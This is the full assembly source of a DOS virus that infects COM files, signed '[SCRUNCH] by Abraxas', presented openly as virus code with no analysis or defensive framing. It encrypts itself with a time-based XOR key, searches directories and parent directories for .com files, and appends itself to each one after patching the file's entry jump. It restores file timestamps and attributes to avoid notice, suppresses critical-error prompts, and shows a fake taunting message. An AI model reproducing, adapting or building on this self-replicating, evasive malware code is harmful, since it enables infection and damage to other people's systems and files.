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; [SCRUNCH] by Abraxas
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.model tiny ; Handy directive
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.code ; Virus code segment
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org 100h ; COM file starting IP
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entry_point: db 0e9h,0,0 ; jmp decrypt
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decrypt: ; handles encryption and decryption
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mov cx,(offset heap - offset startencrypt)/2 ; iterations
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patch_startencrypt:
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mov di,offset startencrypt ; start of decryption
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decrypt_loop:
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db 81h,35h ; xor word ptr [di], xxxx
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decrypt_value dw 0 ; initialised at zero for null effect
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inc di ; calculate new decryption location
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inc di
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loop decrypt_loop ; decrypt mo'
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startencrypt:
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call next ; calculate delta offset
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next: pop bp ; bp = IP next
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sub bp,offset next ; bp = delta offset
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lea si,[bp+save3]
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mov di,100h
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push di ; For later return
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movsw
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movsb
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mov byte ptr [bp+numinfec],1 ; reset infection counter
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mov ah,1Ah ; Set new DTA
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lea dx,[bp+newDTA] ; new DTA @ DS:DX
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int 21h
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mov ah,47h ; Get current directory
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mov dl,0 ; Current drive
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lea si,[bp+origdir] ; DS:SI->buffer
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int 21h
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mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
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mov ax,3524h ; Get int 24 handler
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int 21h ; to ES:BX
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mov word ptr [bp+oldint24],bx; Save it
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mov word ptr [bp+oldint24+2],es
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mov ah,25h ; Set new int 24 handler
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lea dx,[bp+offset int24] ; DS:DX->new handler
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int 21h
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push cs ; Restore ES
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pop es ; 'cuz it was changed
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dir_scan: ; "dot dot" traversal
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lea dx,[bp+com_mask]
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mov ah,4eh ; find first file
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mov cx,7 ; any attribute
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findfirstnext:
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int 21h ; DS:DX points to mask
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jc done_infections ; No mo files found
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mov al,0h ; Open read only
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call open
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mov ah,3fh ; Read file to buffer
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lea dx,[bp+buffer] ; @ DS:DX
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mov cx,1Ah ; 1Ah bytes
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int 21h
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mov ah,3eh ; Close file
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int 21h
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checkCOM:
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mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
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cmp ax,2000 ; Is it too small?
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jb find_next
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cmp ax,65535-(endheap-decrypt) ; Is it too large?
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ja find_next
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mov bx,word ptr [bp+buffer+1]; get jmp location
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add bx,heap-decrypt+3 ; Adjust for virus size
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cmp ax,bx
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je find_next ; already infected
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jmp infect_com
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find_next:
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mov ah,4fh ; find next file
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jmp short findfirstnext
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mov ah,3bh ; change directory
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lea dx,[bp+dot_dot] ; "cd .."
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int 21h
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jnc dir_scan ; go back for mo!
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done_infections:
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jmp activate ; Always activate
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exit_virus:
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mov ax,2524h ; Restore int 24 handler
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lds dx,[bp+offset oldint24] ; to original
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int 21h
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push cs
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pop ds
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mov ah,3bh ; change directory
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lea dx,[bp+origdir-1] ; original directory
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int 21h
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mov ah,1ah ; restore DTA to default
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mov dx,80h ; DTA in PSP
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int 21h
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retn ; 100h is on stack
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save3 db 0cdh,20h,0 ; First 3 bytes of COM file
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activate: ; ******************************
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mov ax,0003h ; stick 3 into ax.
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int 10h ; Set up 80*25, text mode. Clear the screen, too.
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mov ax,1112h ; We are gunna use the 8*8 internal font, man.
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int 10h ; Hey man, call the interrupt.
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mov ah,09h ; Use DOS to print fake error message
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mov dx,offset fake_msg
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int 21h
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mov ah,4ch ; Lets ditch.
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int 21h ; "Make it so."
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jmp exit_virus
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virusname db '[SCHRUNCH]',0
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author db '[pAgE]',0
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infect_com: ; ax = filesize
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mov cx,3
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sub ax,cx
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lea si,[bp+offset buffer]
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lea di,[bp+offset save3]
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movsw
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movsb
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mov byte ptr [si-3],0e9h
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mov word ptr [si-2],ax
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add ax,103h
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push ax ; needed later
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finishinfection:
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push cx ; Save # bytes to write
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xor cx,cx ; Clear attributes
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call attributes ; Set file attributes
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mov al,2
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call open
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mov ah,40h ; Write to file
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lea dx,[bp+buffer] ; Write from buffer
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pop cx ; cx bytes
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int 21h
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mov ax,4202h ; Move file pointer
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xor cx,cx ; to end of file
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cwd ; xor dx,dx
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int 21h
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get_encrypt_value:
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mov ah,2ch ; Get current time
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int 21h ; dh=sec,dl=1/100 sec
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or dx,dx ; Check if encryption value = 0
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jz get_encrypt_value ; Get another if it is
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mov [bp+decrypt_value],dx ; Set new encryption value
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lea di,[bp+code_store]
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mov ax,5355h ; push bp,push bx
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stosw
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lea si,[bp+decrypt] ; Copy encryption function
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mov cx,startencrypt-decrypt ; Bytes to move
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push si ; Save for later use
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push cx
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rep movsb
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lea si,[bp+write] ; Copy writing function
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mov cx,endwrite-write ; Bytes to move
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rep movsb
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pop cx
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pop si
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pop dx ; Entry point of virus
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push di
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push si
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push cx
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rep movsb ; Copy decryption function
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mov ax,5b5dh ; pop bx,pop bp
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stosw
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mov al,0c3h ; retn
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stosb
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add dx,offset startencrypt - offset decrypt ; Calculate new
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mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
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call code_store ; decryption
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pop cx
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pop di
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pop si
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rep movsb ; Restore decryption function
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mov ax,5701h ; Restore creation date/time
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mov cx,word ptr [bp+newDTA+16h] ; time
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mov dx,word ptr [bp+newDTA+18h] ; date
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int 21h
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mov ah,3eh ; Close file
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int 21h
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mov ch,0
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mov cl,byte ptr [bp+newDTA+15h] ; Restore original
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call attributes ; attributes
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dec byte ptr [bp+numinfec] ; One mo infection
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jnz mo_infections ; Not enough
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jmp done_infections
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mo_infections: jmp find_next
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open:
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mov ah,3dh
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lea dx,[bp+newDTA+30] ; filename in DTA
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int 21h
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xchg ax,bx
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ret
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attributes:
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mov ax,4301h ; Set attributes to cx
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lea dx,[bp+newDTA+30] ; filename in DTA
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int 21h
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ret
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write:
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pop bx ; Restore file handle
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pop bp ; Restore relativeness
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mov ah,40h ; Write to file
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lea dx,[bp+decrypt] ; Concatenate virus
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mov cx,heap-decrypt ; # bytes to write
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int 21h
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push bx
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push bp
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endwrite:
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int24: ; New int 24h (error) handler
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mov al,3 ; Fail call
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iret ; Return control
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com_mask db '*.com',0
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dot_dot db '..',0
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heap: ; Variables not in code
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; The following code is the buffer for the write function
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code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
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oldint24 dd ? ; Storage for old int 24h handler
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backslash db ?
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fake_msg db "Eddy lives somewhere in time!!! Psyche!$"
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origdir db 64 dup (?) ; Current directory buffer
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newDTA db 43 dup (?) ; Temporary DTA
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numinfec db ? ; Infections this run
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buffer db 1ah dup (?) ; read buffer
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endheap: ; End of virus
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end entry_point
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